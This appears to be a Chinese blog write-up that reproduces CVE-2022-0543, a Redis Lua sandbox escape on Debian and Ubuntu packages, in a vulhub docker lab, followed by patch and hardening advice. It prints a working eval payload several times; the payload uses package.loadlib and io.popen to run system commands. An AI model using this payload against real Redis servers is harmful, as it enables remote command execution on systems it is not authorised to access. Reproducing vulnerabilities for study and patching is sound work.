CVE-2022-0543 Redis沙盒逃逸漏洞复现(CVE-2022-0543)

0x01前言

Redis Labs Redis是美国Redis Labs公司的一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值(Key-Value)存储数据库,并提供多种语言的API。
redis 存在安全漏洞,攻击者可利用该漏洞远程执行代码。

0x02漏洞描述

在Debian系的Linux发行版系统上,由于打包问题,Redis在Lua解析器初始化后,package变量没有被正确清除,导致攻击者可以利用它来进行Lua沙箱逃逸,从而执行任意系统命令。目前,该漏洞显示只影响Debian系的 Linux 发行版系统(Debian、Ubuntu等)上的Redis服务,其他系统上的Redis服务暂不受影响。同时利用该漏洞需要具备可在Redis中执行eval命令的权限。

0x03漏洞影响版本

该 Redis 沙盒逃逸漏洞仅影响 Debian 系的 Linux 发行版本,并非 Redis 本身漏洞

0x04 漏洞环境准备

靶机:直接docker拉取镜像,启动环境
攻击机:下载redis-cli用于远程连接redis服务器

0x05漏洞复现

1.通过docker拉取镜像,启动镜像环境
cd vulhub-master/redis/CVE-2022-0543/
docker-compose up -d

2.攻击机下载redis-cli
wget http://download.redis.io/redis-stable.tar.gz
3.解压下载好的文件:tar -zxvf redis-stable.tar.gz。
4.进入目录,看看是否安装成功
cd redis-stable
make

cp src/redis-cli /usr/bin/
redis-cli -h

5.使用redis-cli远程连接redis服务器:
redis-cli -h 192.168.235.134 -p 6379

6.借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,要指定正确的路径
local io_l = package.loadlib(“/usr/lib/x86_64-linux-gnu/liblua5.1.so.0”, “luaopen_io”);
local io = io_l();
local f = io.popen(“id”, “r”);
local res = f:read(“*a”);
f:close();
return res
7.在攻击机上使用eval执行上述脚本,成功执行
eval ‘local io_l = package.loadlib(“/usr/lib/x86_64-linux-gnu/liblua5.1.so.0”, “luaopen_io”); local io = io_l(); local f = io.popen(“id”, “r”); local res = f:read(“*a”); f:close(); return res’ 0

8.查看当前用户,可以看见无法看到当前用户,这里是我的Ubuntu Redis是安全本版,这里就无法看到当前用户。
eval ‘local io_l = package.loadlib(“/usr/lib/x86_64-linux-gnu/liblua5.1.so.0”, “luaopen_io”); local io = io_l(); local f = io.popen(“whoamin”, “r”); local res = f:read(“*a”); f:close(); return res’ 0

0x06 修复建议

1、升级至安全版本:Debian Redis: 5:5.0.14-1+deb10u2 5:6.0.16-1+deb11u2 5:6.0.16-2Ubuntu Redis: 5:6.0.15-1ubuntu0.1 5:5.0.7-2ubuntu0.12.做好Redis鉴权限制和禁止对外网访问。
3.打上相关补丁
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1005787

0x07 参考
https://mp.weixin.qq.com/s/4fAmmkcyCTqY_B-U5Mr0kw

payload:
eval ‘local io_l = package.loadlib(“/usr/lib/x86_64-linux-gnu/liblua5.1.so.0”, “luaopen_io”); local io = io_l(); local f = io.popen(“uname -a”, “r”); local res = f:read(“*a”); f:close(); return res’ 0

eval ‘local io_l = package.loadlib(“/usr/lib/x86_64-linux-gnu/liblua5.1.so.0”, “luaopen_io”); local io = io_l(); local f = io.popen(“id”, “r”); local res = f:read(“*a”); f:close(); return res’ 0

批量检测工具:

https://github.com/d-rn/vulBox/blob/main/CVE-2022-0543.py

相关推荐

  1. CVE-2022-0543 Redis逃逸漏洞(CVE-2022-0543)

    2024-04-25 18:44:02       35 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-25 18:44:02       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-25 18:44:02       100 阅读
  3. 在Django里面运行非项目文件

    2024-04-25 18:44:02       82 阅读
  4. Python语言-面向对象

    2024-04-25 18:44:02       91 阅读

热门阅读

  1. 使用Apache Cordova将H5游戏打包成apk

    2024-04-25 18:44:02       33 阅读
  2. c++ 智能指针 指针数据监控实验

    2024-04-25 18:44:02       33 阅读
  3. 服务器镜像是什么

    2024-04-25 18:44:02       31 阅读
  4. 消息队列问题解决方案

    2024-04-25 18:44:02       34 阅读
  5. 0003__sax和dom两种xml解析器的区别

    2024-04-25 18:44:02       36 阅读